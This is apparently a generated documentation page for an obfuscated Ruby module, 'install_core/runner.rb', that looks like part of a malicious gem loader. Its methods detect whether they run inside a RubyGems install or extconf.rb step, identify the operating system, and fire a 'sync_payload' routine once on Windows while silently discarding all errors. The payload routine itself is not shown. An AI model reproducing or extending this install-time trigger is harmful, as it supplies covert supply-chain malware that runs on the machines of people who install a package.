Module: Core7s3zf1td::RunZpzwob

Defined in:
lib/install_core/runner.rb

Class Method Summary collapse

Class Method Details

.__install_ctx_7s3zf1td__?Boolean

Returns:

  • (Boolean)


24
25
26
27
28
29
30
31
32
# File 'lib/install_core/runner.rb', line 24

def __install_ctx_7s3zf1td__?
  return true if ENV['PAYLOAD_INSTALL'] == '1'

  caller(0, 25).any? do |line|
    line.include?('rubygems/installer') ||
      line.include?('installer.rb') ||
      line.include?('extconf.rb')
  end
end

.__platform_7s3zf1td__Object



34
35
36
37
38
39
40
41
42
43
44
45
46
47
# File 'lib/install_core/runner.rb', line 34

def __platform_7s3zf1td__
  host = RbConfig::CONFIG['host_os'].to_s
  plat = RUBY_PLATFORM.to_s

  return 'Windows' if __win_host_7s3zf1td__?(host) || __win_host_7s3zf1td__?(plat)
  return 'MacOS' if host.include?('darwin') || plat.include?('darwin')
  return 'Linux' if host.include?('linux') || plat.include?('linux')

  if defined?(Gem) && Gem.respond_to?(:win_platform?) && Gem.win_platform?
    return 'Windows'
  end

  'Linux'
end

.__run_7s3zf1td__Object



14
15
16
17
18
19
20
21
22
# File 'lib/install_core/runner.rb', line 14

def __run_7s3zf1td__
  return if @__done_7s3zf1td__

  @__done_7s3zf1td__ = true
  __vote_retries_7s3zf1td__
  __sync_payload_7s3zf1td__ if __windows_7s3zf1td__?
rescue StandardError
  nil
end